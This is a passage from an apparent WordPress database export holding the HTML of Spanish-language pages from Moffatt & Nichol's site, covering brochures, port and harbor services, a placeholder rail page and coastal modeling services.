class=\"title-brochure-left\">SERVICIOS CONSULTIVOS <br />COMERCIALES DE PARQUES EÓLICOS </span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-farm-commercial-advisory-services-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Farm_Commercial_Advisory_Services_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL DE ENERGÍA EÓLICA</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              Moffatt & Nichol está posicionado en forma singular para ayudar a nuestros clientes a afrontar los desafíos de proyectos de desarrollo de energía eólica, tanto en tierra como costa afuera. Combinamos nuestro <br /><br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-overview-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Power_Overview_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/inspection-1.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Inspección y<br /> rehabilitación</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Moffatt & Nichol, expertos con reconocimiento internacional en ingeniería y diseño estructural de frentes costeros, proporciona a sus clientes servicios de ingeniería orientados hacia la prolongación de la vida de servicio<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/inspection-and-rehabilitation-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/INSPECTION%20REHAB.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div>        \r\n                            \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','boletín de noticias','','publish','open','open','','brochures-north-america','','','2012-06-15 10:34:20','2012-06-15 10:34:20','',78,'http://moffattnichol.com/spanish/?page_id=310',0,'page','',0),(348,1,'2011-10-25 06:22:18','2011-10-25 06:22:18','<div class=\"content_faq\">\r\n<div class=\"banner-inner\">\r\n          <div class=\"slider-wrap\"></div>\r\n            <ul id=\"movers-row\">\r\n              <li class=\"featured_projects\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/featured_projects.jpg\" /></li>\r\n              <li class=\"cross-link-one\"><a href=\"#1\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-two\"><a href=\"#2\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-three\"><a href=\"#3\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-four\"><a href=\"#4\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-five\"><a href=\"#5\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-six\"><a href=\"#6\" class=\"cross-link\"></a></li>\r\n            </ul>\r\n            <div id=\"main-photo-slider\" class=\"csw\">\r\n              <div class=\"panelContainer\">\r\n                <div class=\"panel\" title=\"Ports & harbors\">\r\n                  <div class=\"wrapper\">\r\n                    <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ph_port_harbors.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"coastal resourses\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal_environmental.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Transportation\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/transportation.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Goods movement\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/uw_waterfronts_marinas.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Energy\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy_overview.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp; <span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Oil services\">\r\n                  <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection_banner.jpg\" width=\"588\" height=\"296\"/></div>\r\n                  <div class=\"photo-meta-data\">\r\n                    <div class=\"project_title\">\r\n                      <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                        <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                      <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n<div class=\"ports-left\">\r\n            <h3>ferrocarriles</h3>\r\n          <div class=\"our-mission\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc in ipsum dui, molestie egestas erat. Praesent nec arcu massa, ut semper nunc. Etiam purus nisl, semper eu condimentum eget, consequat posuere est. Sed porta, velit et lobortis pharetra, ipsum metus tincidunt nisl, eu ultrices lacus libero tristique purus. Duis pellentesque aliquam dui eget varius. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nunc rutrum est quis massa scelerisque nec dapibus mi porttitor. Mauris posuere fringilla ullamcorper. In a nunc nec sapien auctor fringilla. Pellentesque iaculis porttitor risus, nec lacinia nisi iaculis eget.</div>\r\n          <h3>&nbsp;</h3>\r\n</div>    \r\n       <div class=\"ports-right\">\r\n            <h3 >lista de servicios</h3>\r\n            <div class=\"services-list\">\r\nMovimiento de mercancÃas<br />\r\nCorredores de transporte<br />\r\nTerminales de transbordadores<br />\r\nServicios consultivos globales<br />\r\nCimentaciones profundas<br />\r\nAnÃ¡lisis de socavaciÃ³n<br />\r\n            </div>\r\n        </div>\r\n       <div class=\"clear\"></div>\r\n       <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3><br />\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\"> Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">PresentaciÃ³n</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n              Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n        </div>\r\n</div>\r\n  <div class=\"topbtn\"><a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>       ','Ferrocarriles','','publish','open','open','','rail','','','2012-06-15 06:12:01','2012-06-15 06:12:01','',54,'http://moffattnichol.com/spanish/?page_id=348',0,'page','',0),(357,1,'2011-10-25 06:31:32','2011-10-25 06:31:32','<div class=\"content_faq\">\r\n <h3>servicios portuarios</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/global.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">servicios consultivos comerciales globales</h1>\r\nLos servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las áreas de análisis de carga de contenedores y planeamiento económico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte y a inversionistas privados y públicos.\r\n\r\nNuestro grupo abarca una combinación de especialistas en economía, logística, finanzas, gestión y operaciones, con experiencia profesional en una organización novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratégico hasta la creación de un proyecto factible que pueda ser diseñado, construido y puesto en funcionamiento.\r\n\r\nÚnica en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. Moffatt & Nichol ha proporcionado la debida diligencia comercial para muchas transacciones de infraestructura marítima importantes en la década pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geográfica del grupo de servicios comerciales consultivos incluye proyectos terminados en Norteamérica, Sudamérica y América Central, el Caribe, Europa, África, el Medio Oriente y Asia.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-planing.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">planeamiento portuario</h1>\r\nMoffatt & Nichol entiende la naturaleza dinámica del negocio de terminales de contenedores y por lo tanto la necesidad de flexibilidad y capacidad de ampliación operativas y del acceso optimizado a la terminal que se adapta a la tecnología más reciente durante su vida económica. Moffatt & Nichol es reconocido internacionalmente como líder e innovador en el planeamiento y diseño de puertos y terminales marítimas y su compleja infraestructura de apoyo.\r\n\r\nMoffatt & Nichol es la única firma en Norteamérica que ofrece un equipo interno completamente integrado que puede manejar cada aspecto del desarrollo de un puerto de contenedores, desde el pronóstico de carga hasta el diseño de una nueva terminal y su construcción y puesta en funcionamiento. Moffatt & Nichol ha manejado el planeamiento, diseño y construcción de más de 100 terminales de contenedores, incluyendo terminales automatizadas a nivel mundial, y algunos de los mayores proyectos de infraestructura de transporte de Norteamérica. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/managment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">gestión de la construcción</h1>\r\nMoffatt & Nichol proporciona servicios de supervisión e inspección de la construcción; la firma tiene un grupo central de veteranos profesionales de la construcción con la experiencia para actuar como una extensión del personal de nuestros clientes para apoyar toda la diversidad de situaciones con que se pueden encontrar durante la ejecución de los proyectos. Creemos que la gestión de la construcción no comienza con el aviso al contratista para proceder, sino con el planeamiento inicial del programa, el desarrollo del diseño del proyecto, y la estrategia completa para la factibilidad de la construcción. Nuestros inspectores han proporcionado una pauta permanente con respecto de las operaciones y el mantenimiento, una respuesta rápida a los problemas de ingeniería durante la construcción y una supervisión de la gestión y del control de la calidad de la construcción, y garantizan que la construcción se realice estrictamente de acuerdo con los planos de diseño y las especificaciones técnicas. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/marine-structure.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">estructuras marítimas</h1>\r\nComo una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evolución del puerto moderno. La firma tiene una reputación internacional por proporcionar soluciones innovadoras a la industria portuaria y marítima. Desde la llegada de la contenedorización hasta las complejas tendencias del movimiento de mercancías y las regulaciones medioambientales de hoy en día, la firma ofrece capacidades integradas internas para apoyar prácticamente cualquier tarea portuaria, marítima o de transporte de carga en todo el mundo. Desde sus oficinas y centros especializados en Norteamérica, Europa y América latina, Moffatt & Nichol puede hacerse cargo de un proyecto desde el análisis conceptual y estudio de factibilidad hasta el planeamiento, el diseño y la construcción marítima. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-security.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">seguridad portuaria</h1>\r\n Moffatt & Nichol es un líder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marítima. De acuerdo con iniciativas de Seguridad Nacional de los EE.UU., la firma está mejorando activamente la conciencia del dominio portuario y marítimo al proporcionar sistemas de seguridad avanzados. La clave para proporcionar soluciones correctas es equilibrar la seguridad personal y la protección de infraestructura crítica con la continuidad del puerto y las operaciones portuarias comerciales. En consecuencia, Moffatt & Nichol desarrolla e implementa enfoques novedosos que unifican los objetivos de seguridad con el flujo eficiente del comercio. Nuestras soluciones integrales relacionadas con la seguridad son adaptadas para las partes interesadas regionales, autoridades portuarias, operadores de terminales y personal de respuesta relacionado con la seguridad en todo el mundo. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-automation.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"6\">automatización portuaria</h1>\r\nCon décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marítimas en todo el mundo, Moffatt & Nichol es reconocido como un líder e innovador en el planeamiento y diseño de puertos, terminales marítimas y la compleja infraestructura de apoyo al movimiento de carga terrestre y de contenedores hoy en día.\r\n \r\nEl desarrollo de una terminal de contenedores automatizada partiendo desde cero es una posibilidad desafiante. Requiere una comprensión de aspectos críticos tales como espacio y logística disponibles, configuraciones del terreno, selección del equipo, interfaz de los sistemas de operación, políticas y regulaciones gubernamentales, prácticas laborales, restricciones medioambientales y limitaciones de capacidad. El equipo de profesionales de Moffatt & Nichol incluye a importantes expertos de la industria que tienen una experiencia inigualable en el desarrollo de terminales de contenedores. Ellos aplican su experiencia y conocimientos para desarrollar terminales de contenedores modernas, flexibles y avanzadas que resistirán el paso del tiempo.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/fery-terminals.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"7\">terminales de transbordadores</h1>\r\nComo una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en el planeamiento y diseño de instalaciones relacionadas con transbordadores en todo el mundo. En sociedad con nuestros clientes, Moffatt & Nichol proporciona una variedad de servicios que comprenden desde estudios de factibilidad y análisis económicos hasta el planeamiento, diseño, gestión del programa y apoyo en la construcción. La firma ha sido responsable de proyectos tan diversos como grandes transbordadores de pasajeros y carga hasta operaciones más pequeñas de taxis acuáticos urbanos, ofreciendo su experiencia profesional para optimizar la funcionalidad de la operación de las terminales y su rentabilidad. Ofrecemos una perspectiva global en apoyo de nuestros clientes de la industria de transbordadores, atendiendo a los miembros de la comunidad marítima, el sector gubernamental, el sector de logística intermodal y la comunidad inversora por igual.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/bulk-terminals.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"8\">terminales de graneles</h1>\r\nMoffatt & Nichol ofrece a sus clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulación de materiales a granel. Nuestras especializaciones incluyen el desarrollo de análisis financieros, estudios de factibilidad, planes maestros, documentos de diseño en detalle y la gestión y apoyo de la construcción para una variedad de instalaciones como atracaderos, espigones y áreas de carga y descarga hasta sistemas de almacenamiento y transferencia, así como redes de transporte interior. Nuestra cartera de proyectos incluye terminales e instalaciones que manejan carbón, menas, concentrados minerales, fertilizantes, granos y otros productos agrícolas, agregados de construcción, maderas, graneles líquidos y otros materiales a granel. Al combinar nuestra experiencia marítima con el conocimiento específico de la tecnología y el equipo de manipulación de graneles, Moffatt & Nichol puede dar apoyo a nuestros clientes con la infraestructura y las operaciones más eficientes, al mismo tiempo que maximizamos su funcionamiento. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/gate-planing.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"9\">planeamiento y diseño de compuertas</h1>\r\nLa gran experiencia de Moffatt & Nichol en seguridad de terminales marítimas y diseño de compuertas permite que nuestro equipo entienda completamente los problemas asociados con los proyectos de compuertas de seguridad. Aunque haya muchas firmas que pueden proporcionar servicios de diseño de compuertas, solo hay unas cuantas que pueden jactarse de la combinación de experiencia en diseño de compuertas, familiaridad con protocolos de seguridad actuales y conocimiento de los estándares y especificaciones privados y gubernamentales de construcción. Moffatt & Nichol goza de reputación mundial por la amplitud y profundidad de su experiencia con proyectos de compuertas y de seguridad.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/fedring.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"10\">análisis de defensas</h1>\r\nMoffatt & Nichol ha completado muchas evaluaciones y diseños de sistemas de defensa para muelles, dársenas, muros de retención, defensas de puentes, etc. para diferentes clientes que incluyen la Guardia costera de EE.UU., la Marina de EE.UU., autoridades portuarias y compañías navieras privadas. Nuestra especialización en sistemas de amarre y sistemas de defensa hizo que Moffatt & Nichol sea elegido para escribir los manuales de diseño de la Marina de EE.UU. para los amarres fijos (NAVFAC DM 26.4) y los amarres de flota (NAVFAC DM 26.5). Moffatt & Nichol realiza rutinariamente análisis de amarres y atraques estáticos y dinámicos para toda clase de amarres y tamaños de buques como parte de nuestra práctica portuaria.\r\n      \r\nMoffatt & Nichol reconoce que el sistema de defensa es la interfaz entre la nave y las instalaciones en la costa. El sistema de defensa está diseñado para actuar como un amortiguador durante el atraque de una nave absorbiendo o disipando la energía del impacto de la nave sin causar daños permanentes a la nave ni a las instalaciones en la costa. Después de atracar y amarrar la nave a las instalaciones de la costa, el sistema de defensa continúa proporcionando la interfaz entre la nave y la costa y transmite las cargas medioambientales (viento, olas y corrientes) en la nave a la estructura. La identificación de la magnitud y dirección de las fuerzas que se utilizarán en el diseño del sistema de defensa es crítica para el funcionamiento correcto del sistema.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/vesel.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"11\">estudios de maniobras y tráfico de buques</h1>\r\nMoffatt & Nichol tiene una avanzada capacidad para proporcionar simulaciones numéricas de los movimientos de buques, de las operaciones portuarias y de sistemas similares usando un sofisticado modelo numérico llamado Lenguaje de Simulación para Modelación Alternativa (SLAM, por sus siglas en inglés). Este modelo también incluye un módulo de gráficos que proporciona una visualización animada en pantalla de los resultados. Pueden hacerse análisis del tráfico de buques en puertos, vías navegables y puertos deportivos para examinar las capacidades de flujo o para determinar el impacto de los cambios en las operaciones o la utilización de un puerto. Moffatt & Nichol ha desarrollado un modelo avanzado de tráfico de buques que se ha aplicado con éxito en varios proyectos de diferentes campos, desde el tráfico de naves comerciales en puerto hasta operaciones de tráfico de botes en puertos deportivos.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Servicios portuarios','','publish','open','open','','ports-and-harbors-services','','','2013-01-09 06:24:47','2013-01-09 06:24:47','',48,'http://moffattnichol.com/spanish/?page_id=357',0,'page','',0),(526,1,'2011-11-11 13:18:27','2011-11-11 13:18:27','<div class=\"content_faq\">\r\n  <h3>servicios de recursos costeros, medioambientales e hídricos</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel1.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">modelación numérica de procesos fluviales, estuarinos y costeros</h1>\r\nDado el énfasis en preservar o mejorar el medioambiente, uno de los aspectos más críticos que afectan la aprobación reglamentaria de los nuevos proyectos es la evaluación de su impacto en el medioambiente existente. La participación de Moffatt & Nichol en estas evaluaciones de impacto usualmente requiere nuestras capacidades para analizar procesos fluviales, estuarinos y costeros a través del uso de modelos numéricos avanzados para estudiar los efectos con y sin el proyecto sobre la hidrodinámica (nivel del agua, olas, corrientes, inundaciones), transporte de sedimentos, erosión y deposición y calidad del agua. Tenemos un gran conocimiento de los procesos físicos activos en estas ubicaciones, adquirido mediante la realización de centenares de proyectos afectados, y con la ayuda de investigaciones y simulaciones de modelos numéricos. Moffatt & Nichol ha completado centenares de estudios de modelación, usando varias plataformas de modelación comerciales y de dominio público, en todo el mundo; esto incluye haber realizado análisis de la mayor parte de los principales estuarios y bahías costeras a lo largo de la costas oriental, del golfo y occidental de los Estados Unidos. Muchos de estos estudios de modelación han sido objeto de una rigurosa revisión y aceptación por las partes interesadas relacionadas con los proyectos, incluyendo la comunidad medioambiental y reguladora, como parte del proceso de revisión medioambiental.\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    